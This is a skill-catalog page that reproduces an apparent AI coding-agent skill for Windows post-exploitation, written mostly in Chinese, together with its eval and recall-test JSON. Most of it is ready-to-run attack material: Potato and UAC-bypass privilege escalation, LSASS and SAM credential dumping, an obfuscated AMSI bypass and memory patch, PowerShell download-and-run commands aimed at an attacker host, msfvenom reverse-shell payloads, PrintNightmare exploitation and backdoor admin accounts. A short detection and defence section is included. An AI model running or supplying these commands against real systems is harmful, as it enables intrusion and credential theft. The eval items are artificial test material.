
Post Exploit Windows
- 29 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
post-exploit-windows is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- post-exploit-windows
- AI & Agent Building
- AI-coding skill
Post Exploit Windows by the numbers
- 29 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,417 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill post-exploit-windowsAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 29 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Windows 后渗透方法论
⛔ 深入参考(必读)
- 需要 Potato/服务/UAC/内核提权详细命令 → references/windows-privesc.md
- 需要 SAM/LSASS/浏览器凭据提取、域侦察、敏感数据搜索 → references/windows-credential.md
- 需要 KrbRelayUp/AMSI 绕过/Potato 兼容矩阵/权限映射表 → references/ad-privesc-techniques.md
- → references/printnightmare-attack.md — CVE-2021-34527 PrintNightmare 远程代码执行
---
Phase 1: 基础信息收集
whoami /all # 用户、组、权限(关键!看有没有 SeImpersonate)
systeminfo # 系统版本、补丁、域信息
ipconfig /all # 网络配置(DNS 服务器 = 域控 IP)
net localgroup Administrators关键权限 → 提权路径
| 权限 | 提权方法 |
|---|---|
| SeImpersonatePrivilege | Potato 系列(GodPotato 兼容性最好) |
| SeBackupPrivilege | 读取 SAM/SYSTEM 注册表 |
| SeDebugPrivilege | dump LSASS |
| 管理员组但被 UAC 限制 | fodhelper.exe 绕过 |
30 秒快速提权检查
| # | 检查项 | 命令 | 提权方法 |
|---|---|---|---|
| 1 | Token 权限 | whoami /priv | SeImpersonate → Potato |
| 2 | 用户组 | whoami /groups | Administrators → UAC 绕过 |
| 3 | 服务权限 | sc qc [service] | 可写服务二进制 → 替换 |
| 4 | Unquoted Path | wmic service get name,pathname | 含空格未加引号路径 |
| 5 | AlwaysInstall | reg query HKLM\...\Installer | MSI SYSTEM 安装 |
| 6 | 自动登录 | reg query "HKLM\...\Winlogon" | DefaultPassword 泄露 |
| 7 | 补丁缺失 | systeminfo | 内核提权 CVE |
快速判断:Web shell 通常有 SeImpersonate → 优先用 Potato 提权。
Phase 2: 提权决策树
当前权限?
├─ 有 SeImpersonate → Potato 提权(最常见)→ [references/windows-privesc.md](references/windows-privesc.md)
├─ 管理员组 + UAC 限制 → UAC 绕过 → [references/windows-privesc.md](references/windows-privesc.md)
├─ 低权限 → 检查服务/AlwaysInstallElevated/内核漏洞 → [references/windows-privesc.md](references/windows-privesc.md)
└─ 已是 SYSTEM/Admin → 直接进入凭据提取Phase 3: 凭据提取决策树
需要什么凭据?
├─ 本地账户哈希 → SAM 数据库(reg save)
├─ 域凭据/明文密码 → LSASS 内存(Mimikatz / comsvcs.dll)
├─ 浏览器密码 → Chrome Login Data / Firefox logins.json
└─ 其他 → 凭据管理器 cmdkey、PowerShell 历史、config 文件搜索
详细命令 → [references/windows-credential.md](references/windows-credential.md)Phase 4: 域环境判断
如果 systeminfo 显示 Domain 不是 WORKGROUP → 域环境,需进行域渗透。
注意事项
- 先收集再提权:whoami /all 的输出决定整个提权路线
- Potato 系列选择:不确定版本 → GodPotato(最广泛兼容)
- LSASS dump 替代方案:comsvcs.dll MiniDump 不需要上传 Mimikatz
UAC 绕过
- fodhelper.exe 等自动提升(auto-elevate)的白名单程序可绕过 UAC
LSASS 转储
- comsvcs.dll 方法:杀软绕过,不落地文件,LOLBins(系统自带工具)
{
"skill_name": "post-exploit-windows",
"evals": [
{
"id": 1,
"name": "windows-seimpersonate-potato-selection",
"prompt": "你通过 webshell 获取到 IIS 的 shell,whoami /priv 显示有 SeImpersonatePrivilege。目标系统是 Windows Server 2019。你应该用哪个 Potato 工具?如果目标是 Windows Server 2022 呢?",
"expected_output": "Server 2019: PrintSpoofer 或 JuicyPotato。Server 2022: GodPotato(最新,广泛兼容)。JuicyPotato 在 Server 2019 之后的版本不再工作",
"expectations": [
"PrintSpoofer|Server 2019|2016",
"GodPotato|最新|广泛兼容|Server 2022",
"JuicyPotato|旧版本|1809以下",
"SeImpersonatePrivilege|令牌模拟|Token",
"SYSTEM权限|提权|NT AUTHORITY"
],
"required_terms": [
"PrintSpoofer",
"GodPotato",
"JuicyPotato"
]
},
{
"id": 2,
"name": "windows-uac-bypass-fodhelper",
"prompt": "你已经是管理员组成员,但 UAC 限制了你的权限(whoami /groups 显示 Mandatory Label\\Medium)。如何绕过 UAC 获取完整管理员权限?",
"expected_output": "fodhelper.exe 绕过:通过修改 HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command 注册表指向恶意程序,然后启动 fodhelper.exe 触发高权限执行",
"expectations": [
"fodhelper|fodhelper.exe|UAC绕过",
"注册表|HKCU|ms-settings|Shell\\Open\\command",
"UAC|用户账户控制|Medium→High",
"自动提升|auto-elevate|白名单程序",
"eventvwr|CMSTP|其他绕过方法"
],
"required_terms": [
"fodhelper.exe",
"UAC绕过",
"HKCU"
]
},
{
"id": 3,
"name": "windows-lsass-dump-comsvcs",
"prompt": "你拿到 SYSTEM 权限,需要提取 LSASS 内存中的凭据。但目标装了杀毒软件,mimikatz 上传就被删。有什么替代方案?",
"expected_output": "用 comsvcs.dll(系统自带)dump LSASS 内存:rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump [lsass_pid] dump.bin full,然后离线用 mimikatz 解析",
"expectations": [
"comsvcs.dll|comsvcs|MiniDump|系统自带",
"rundll32|rundll32.exe|调用DLL",
"lsass|LSASS进程|内存转储|dump",
"离线解析|下载后|本地mimikatz",
"杀软绕过|不落地|LOLBins|自带工具"
],
"required_terms": [
"comsvcs.dll",
"rundll32.exe",
"MiniDump"
]
}
]
}
{
"skill_id": "post-exploit-windows",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"post exploit windows",
"windows 后渗透",
"windows提权"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"mimikatz",
"sam",
"lsass",
"uac"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被linux后渗透召回",
"keywords": [
"suid",
"sudo"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "post-exploit-windows-scenario",
"scenario": "已获取 Windows 低权限 shell,需要提权到 SYSTEM。请搜索 Windows 后渗透方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "windows|post-exploit|后渗透|提权|system"
},
{
"tool": "read_skill",
"id": "post-exploit-windows"
}
]
}
]
}
AD 环境本地提权进阶技术
域环境下 Windows 本地提权的进阶技术:KrbRelayUp 完整链路、AMSI 绕过工作流、
Potato 家族版本兼容矩阵、权限到攻击方法映射、AlwaysInstallElevated 利用。
与 windows-privesc.md 互补,侧重 AD 集成场景和防御绕过。
---
1. KrbRelayUp 详解
利用 Kerberos 中继到 LDAP 配置 RBCD,使攻击者控制的计算机账户模拟管理员访问目标。
1.1 前提条件
# LDAP 签名必须未强制
netexec ldap <DC_IP> -u '<USER>' -p '<PASS>' -d '<DOMAIN>' -M ldap-checker
# MachineAccountQuota 必须 > 0
netexec ldap <DC_IP> -u '<USER>' -p '<PASS>' -d '<DOMAIN>' -M MAQ1.2 完整步骤
# 1. 创建计算机账户
addcomputer.py -computer-name 'YOURPC$' -computer-pass 'CompPass123!' \
-dc-host <DC_FQDN> -domain-netbios <DOMAIN> '<DOMAIN>/<USER>:<PASS>'# 2. 获取计算机 SID (目标机器上)
$o = ([ADSI]"LDAP://CN=YOURPC,CN=Computers,DC=<domain>,DC=local").objectSID
(New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value
# 3. 检查可用端口
.\CheckPort.exe
# 4. 运行 KrbRelay 配置 RBCD
.\KrbRelay.exe -spn ldap/<DC_FQDN> -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 \
-rbcd <COMPUTER_SID> -port <PORT># 5. 获取计算机 TGT
getTGT.py -dc-ip <DC_IP> '<DOMAIN>/YOURPC$:CompPass123!'
# 6. S4U 获取管理员票据
export KRB5CCNAME=YOURPC\$.ccache
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
-dc-ip <DC_IP> '<DOMAIN>/YOURPC$:CompPass123!'
# 7. 使用票据
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN> # 或 psexec.py# 清理: 删除计算机账户
addcomputer.py -computer-name 'YOURPC$' -delete -dc-host <DC_FQDN> '<DOMAIN>/<ADMIN>:<PASS>'---
2. AMSI 绕过
2.1 PowerShell 级别 (amsiInitFailed)
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static')
$z=$y.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)2.2 .NET 级别 (AmsiScanBuffer 内存补丁)
PowerShell AMSI 绕过不影响 .NET 程序集扫描,execute-assembly 前需额外补丁:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)远程加载: (New-Object Net.WebClient).DownloadString('http://<ATTACKER>:8080/amsi.txt') | IEX
2.3 InvisiShell (注册表级)
通过 CLR Profiler 绕过 PowerShell 日志和 AMSI。非管理员用 HKCU,管理员用环境变量:
:: 非管理员版本
set COR_ENABLE_PROFILING=1
set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}\InprocServer32" /ve /t REG_SZ /d "InvisiShellProfiler.dll" /f
powershell
:: 退出后清理注册表
REG DELETE "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db}" /f2.4 完整绕过工作流
# Step 1: PowerShell AMSI 绕过
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
# Step 2: .NET AMSI 绕过
(New-Object Net.WebClient).DownloadString('http://<ATTACKER>:8080/amsi.txt') | IEX
# Step 3: 加载工具
IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>:8080/PowerSharpPack.ps1')
PowerSharpPack -winPEAS---
3. Potato 家族版本兼容矩阵
| 工具 | 利用技术 | Windows 版本范围 | 说明 |
|---|---|---|---|
| GodPotato | 多种 | Server 2012 ~ Server 2022 / Win 11 | 兼容最广,首选 |
| PrintSpoofer | Print Spooler | Win 10 1809 ~ Server 2022 / Win 11 | 稳定可靠 |
| JuicyPotato | COM/DCOM BITS | Win 7 ~ Win 10 1809 / Server 2019 | 旧系统首选,需 CLSID |
| SweetPotato | 多种集成 | Win 10 ~ Server 2019 | 集成 PrintSpoofer/EfsRpc |
| RoguePotato | OXID Resolver | Win 10 1809+ ~ Server 2019 | 需外部攻击者可达 IP |
| EfsPotato | EFS RPC | Win 10 1803+ ~ Server 2022 | 利用 EFS 管道 |
选择决策
不确定版本 → GodPotato | Server 2012/Win 7-8 → JuicyPotato
Server 2016-2019 → PrintSpoofer/SweetPotato | Server 2022/Win 11 → GodPotato/PrintSpoofer# GodPotato (首选)
GodPotato.exe -cmd "cmd /c whoami"
# PrintSpoofer
PrintSpoofer.exe -c "cmd /c whoami"
# JuicyPotato (需 CLSID, 查 https://ohpe.it/juicy-potato/CLSID/)
JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\temp\out.txt" -t *
# SweetPotato
SweetPotato.exe -e EfsRpc -p C:\temp\payload.exe---
4. 权限到攻击方法映射表
| 权限 | 攻击方法 | 目标 |
|---|---|---|
| SeImpersonatePrivilege | Potato 系列 | SYSTEM (IIS/MSSQL 服务常见) |
| SeAssignPrimaryTokenPrivilege | Potato 系列 | SYSTEM |
| SeBackupPrivilege | SAM/SYSTEM 转储 | 本地哈希 |
| SeDebugPrivilege | LSASS 转储 | 域凭据 |
| SeTakeOwnershipPrivilege | 文件所有权接管 | 任意文件读取 |
| SeRestorePrivilege | DLL 劫持 (写系统目录) | SYSTEM |
| SeLoadDriverPrivilege | 恶意内核驱动加载 | SYSTEM |
SeBackupPrivilege 利用
reg save HKLM\SAM C:\temp\sam.bak
reg save HKLM\SYSTEM C:\temp\system.bak
:: 下载后: secretsdump.py -sam sam.bak -system system.bak LOCALSeDebugPrivilege 利用
:: comsvcs.dll MiniDump (无需额外工具)
rundll32.exe comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full
:: 离线: mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"SeTakeOwnershipPrivilege 利用
takeown /F "C:\Windows\System32\config\SAM"
icacls "C:\Windows\System32\config\SAM" /grant %username%:F
copy "C:\Windows\System32\config\SAM" C:\temp\samSeRestorePrivilege 利用
可写入任意受保护路径。常见利用:替换 System32 下 DLL,等合法程序加载 (DLL 劫持)。
---
5. AlwaysInstallElevated MSI 利用
检测
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: 两项都返回 0x1 -> 可利用利用
# 生成恶意 MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER> LPORT=4444 -f msi -o shell.msi:: 以 SYSTEM 权限静默安装
msiexec /quiet /qn /i shell.msi自动化检测: winPEASx64.exe quiet windowscreds 或 PowerUp: Get-RegistryAlwaysInstallElevated
CVE-2021-34527 / CVE-2021-1675 PrintNightmare 远程代码执行
Windows Print Spooler 服务允许通过 RpcAddPrinterDriverEx 远程加载恶意 DLL,在 SYSTEM 上下文中执行,可实现远程代码执行(RCE)或本地提权(LPE)。
---
CVE 区分
| CVE | 类型 | 攻击方式 | 条件 |
|---|---|---|---|
| CVE-2021-34527 | RCE(远程代码执行) | 远程调用 RPC 加载 SMB 共享上的 DLL | 域凭据 + Print Spooler 运行 |
| CVE-2021-1675 | LPE(本地提权) | 本地调用 API 加载 DLL | 本地低权限 Shell + Print Spooler 运行 |
两个 CVE 利用相同的底层漏洞,但攻击向量不同。CVE-2021-34527 影响更广泛,因为可以远程利用。
---
原理
- Windows Print Spooler 服务默认以 SYSTEM 权限运行
- RpcAddPrinterDriverEx 函数允许指定 DLL 路径加载打印驱动
- 该函数未正确验证调用者权限
- 攻击者可指定远程 SMB 共享上的恶意 DLL
- DLL 在 SYSTEM 上下文中被加载执行
---
前置条件检测
# 检测目标是否运行 Print Spooler(RPC 端点枚举)
rpcdump.py @$TARGET | egrep 'MS-RPRN|MS-PAR'
# 存在 MS-RPRN 或 MS-PAR → Print Spooler 运行
# netexec 检测
netexec smb $TARGET -u $USER -p $PASS -M spooler
# Windows 本地检查
sc query spooler
Get-Service -Name Spooler补丁状态检测
# 检查是否已安装补丁
netexec smb $TARGET -u $USER -p $PASS -M printnightmare
# Windows 本地检查注册表
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v RestrictDriverInstallationToAdministrators
# 值为 1 → 已缓解
# 不存在或值为 0 → 可能仍然脆弱---
Linux 远程攻击(RCE)
步骤一:生成恶意 DLL
msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$PORT -o remote.dll
# 替代 payload
msfvenom -f dll -p windows/x64/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=$PORT -o remote.dll
# 添加用户的 DLL(无需反弹 shell)
msfvenom -f dll -p windows/x64/exec CMD='net user hacker P@ss123! /add && net localgroup administrators hacker /add' -o adduser.dll步骤二:启动 SMB 服务器
# impacket SMB 服务器
smbserver.py -smb2support 'SHARE' /workspace/smb/
# 将 DLL 放入共享目录
cp remote.dll /workspace/smb/步骤三:启动监听
nc -nlvp $PORT
# 或 msfconsole handler步骤四:触发漏洞
# cube0x0 PoC(impacket 版)
CVE-2021-1675.py '$DOMAIN/$USER:$PASSWORD'@'$TARGET' '\\$ATTACKER_IP\SHARE\remote.dll'
# 使用哈希认证
CVE-2021-1675.py '$DOMAIN/$USER'@'$TARGET' '\\$ATTACKER_IP\SHARE\remote.dll' -hashes :$NTHASH---
Windows 本地提权(LPE)
SharpPrintNightmare
# LPE 模式(本地提权)
SharpPrintNightmare.exe C:\path\to\malicious.dll
# RCE 模式(远程执行)
SharpPrintNightmare.exe '\\$ATTACKER_IP\SHARE\remote.dll' '\\$TARGET'PowerShell PoC
# 本地提权
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DLL "C:\path\to\malicious.dll"
# 默认行为:添加管理员用户
Invoke-Nightmare -DriverName "PrintMe" -NewUser "hacker" -NewPassword "P@ss123!"---
域环境利用场景
场景一:直接获取域控 SYSTEM
# 域控通常运行 Print Spooler
rpcdump.py @$DC_IP | egrep 'MS-RPRN|MS-PAR'
# 直接对域控执行 RCE
smbserver.py -smb2support 'SHARE' /workspace/smb/
CVE-2021-1675.py '$DOMAIN/$USER:$PASSWORD'@'$DC_IP' '\\$ATTACKER_IP\SHARE\remote.dll'场景二:配合其他攻击
# DLL 执行 DCSync(无需反弹 shell)
# 生成执行 mimikatz DCSync 的 DLL
# 或通过 reverse shell 获取 SYSTEM 后手动 DCSync
secretsdump.py '$DOMAIN/$ADMIN:$PASSWORD'@'$DC_IP'---
常见问题排查
| 问题 | 原因 | 解决方案 |
|---|---|---|
| SMB 连接失败 | 防火墙阻止出站 SMB | 使用本地 DLL 路径(LPE) |
| DLL 未执行 | AV/EDR 拦截 | 免杀处理 DLL |
| 报错 rpc_s_access_denied | 已修补或权限不足 | 检查补丁状态 |
| 执行成功但无回连 | DLL payload 问题 | 检查 payload 架构(x86/x64) |
---
检测与防御
日志检测
- Event ID 808: Print Spooler 加载驱动失败
- Event ID 316: 新打印驱动安装
- Sysmon Event ID 11: DLL 文件创建在
C:\Windows\System32\spool\drivers\ - Sysmon Event ID 7: spoolsv.exe 加载异常 DLL
网络检测
- 出站 SMB 连接到非标准目标(攻击机 IP)
- RPC 调用 RpcAddPrinterDriverEx
防御措施
# 禁用 Print Spooler 服务(推荐,非打印服务器)
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
# 限制驱动安装权限(注册表)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
# 组策略:禁止安装使用内核模式驱动的打印机
# Computer Configuration > Administrative Templates > Printers---
攻击决策
Print Spooler 运行?
├─ 是 → 补丁状态?
│ ├─ 未修补 → 有远程凭据?
│ │ ├─ 是 → RCE 攻击(SMB 共享 DLL)
│ │ └─ 否 → LPE 攻击(本地 DLL)
│ └─ 已修补 → 尝试其他攻击路径
└─ 否 → 不可利用Windows 凭据提取与域侦察
SAM 数据库(本地账户哈希)
# 需要 SYSTEM 或管理员权限
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# 下载后用 secretsdump.py 提取哈希LSASS 内存(域凭据/明文密码)
# Mimikatz(最经典)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 或 dump LSASS 内存后离线分析
rundll32.exe comsvcs.dll MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full
# procdump.exe -ma lsass.exe C:\temp\lsass.dmp其他凭据位置
# 浏览器保存的密码
dir /s "Login Data" # Chrome
dir /s "logins.json" # Firefox
# Windows 凭据管理器
cmdkey /list
# 文件搜索
findstr /si "password" *.xml *.ini *.txt *.config
dir /s *pass* *cred* *vnc* *.config
# PowerShell 历史
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# WiFi 密码
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear域环境侦察
如果机器在域中(systeminfo 显示 Domain 不是 WORKGROUP):
# 域基本信息
net user /domain # 域用户列表
net group /domain # 域组列表
net group "Domain Admins" /domain # 域管理员
nltest /dclist:DOMAIN # 域控列表
# 域控 IP 通常就是 DNS 服务器
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN域环境的深入攻击(Kerberoasting/AS-REP Roasting/DCSync)参考 ad-domain-attack 技能。
敏感数据搜索
# Flag 搜索(CTF)
type C:\flag.txt
dir /s /b C:\flag*
dir /s /b C:\Users\*flag*
# 敏感文件
dir /s /b *.bak *.sql *.key *.pem
type C:\inetpub\wwwroot\web.configWindows 本地提权详解
Potato 提权(最常见,需要 SeImpersonate)
Web shell / 服务账户通常有 SeImpersonatePrivilege:
# GodPotato (最新,广泛兼容,首选)
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\flag.txt"
GodPotato.exe -cmd "cmd /c net user backdoor Password123! /add && net localgroup Administrators backdoor /add"
# PrintSpoofer (Windows 10, Server 2016/2019)
PrintSpoofer.exe -c "cmd /c whoami"
PrintSpoofer.exe -i -c "powershell.exe"
# JuicyPotato (Windows 10 1809 以下, Server 2019 以下)
JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\temp\out.txt" -t *
# SweetPotato (集成多种 Potato)
SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami"
# RoguePotato (需要外部 IP 配合)
RoguePotato.exe -r ATTACKER_IP -c "cmd /c whoami" -l 9999选择规则:
- 不确定版本 → GodPotato(兼容性最好,首选)
- Windows Server 2016/2019 + SeImpersonate → PrintSpoofer
- 旧版 Windows(Server 2012 等)→ JuicyPotato
- 需要 CLSID → 查 https://ohpe.it/juicy-potato/CLSID/
服务提权
可写服务二进制
# 枚举服务
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
sc qc SERVICE_NAME
# 检查二进制文件权限
icacls "C:\path\to\service.exe"
# (M) 或 (F) = 可修改
# 替换二进制 → 重启服务
copy C:\path\to\service.exe C:\path\to\service.exe.bak
copy payload.exe C:\path\to\service.exe
sc stop SERVICE_NAME
sc start SERVICE_NAMEUnquoted Service Path(未加引号的服务路径)
# 查找未加引号且含空格的服务路径
wmic service get name,pathname | findstr /i /v "C:\Windows" | findstr " "
# 例如路径: C:\Program Files\My App\service.exe
# Windows 依次查找: C:\Program.exe → C:\Program Files\My.exe → ...
# 在有写权限的目录放置同名 exe
copy payload.exe "C:\Program Files\My.exe"
sc stop SERVICE_NAME && sc start SERVICE_NAME可修改的服务配置
# 检查当前用户对服务的权限
accesschk.exe /accepteula -uwcqv "Everyone" *
accesschk.exe /accepteula -uwcqv "Users" *
# 如果有 SERVICE_CHANGE_CONFIG 权限
sc config SERVICE_NAME binpath="cmd /c net user pwn Password123! /add && net localgroup Administrators pwn /add"
sc stop SERVICE_NAME
sc start SERVICE_NAMEUAC 绕过
如果已是管理员组但被 UAC 限制:
# fodhelper.exe 绕过(Windows 10/11,最常用)
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe
# 清理
reg delete HKCU\Software\Classes\ms-settings /f
# eventvwr.exe 绕过
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f
eventvwr.exe
# CMSTP 绕过(需要 .inf 文件)
# ComputerDefaults 绕过AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 如果都为 1 → 以 SYSTEM 权限安装 MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > shell.msi
msiexec /quiet /qn /i shell.msi注册表 AutoRun
# 检查 AutoRun 程序的权限
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# 如果 AutoRun 路径可写 → 替换为恶意程序 → 等用户登录触发Scheduled Tasks(计划任务)
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|TaskName"
# 找到以高权限运行的任务 → 检查执行文件是否可写DLL 劫持
# 找到程序加载的缺失 DLL
# 使用 Process Monitor 过滤 "NAME NOT FOUND" + "*.dll"
# 将恶意 DLL 放到程序搜索路径中内核漏洞(最后手段)
systeminfo # 查看补丁列表
# 对比已安装补丁与已知提权 CVE
# 常见: CVE-2021-1732, CVE-2021-36934 (HiveNightmare), PrintNightmare自动化枚举工具
# WinPEAS(最全面)
winPEASx64.exe
# PowerUp(PowerShell)
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
# Seatbelt(.NET)
Seatbelt.exe -group=all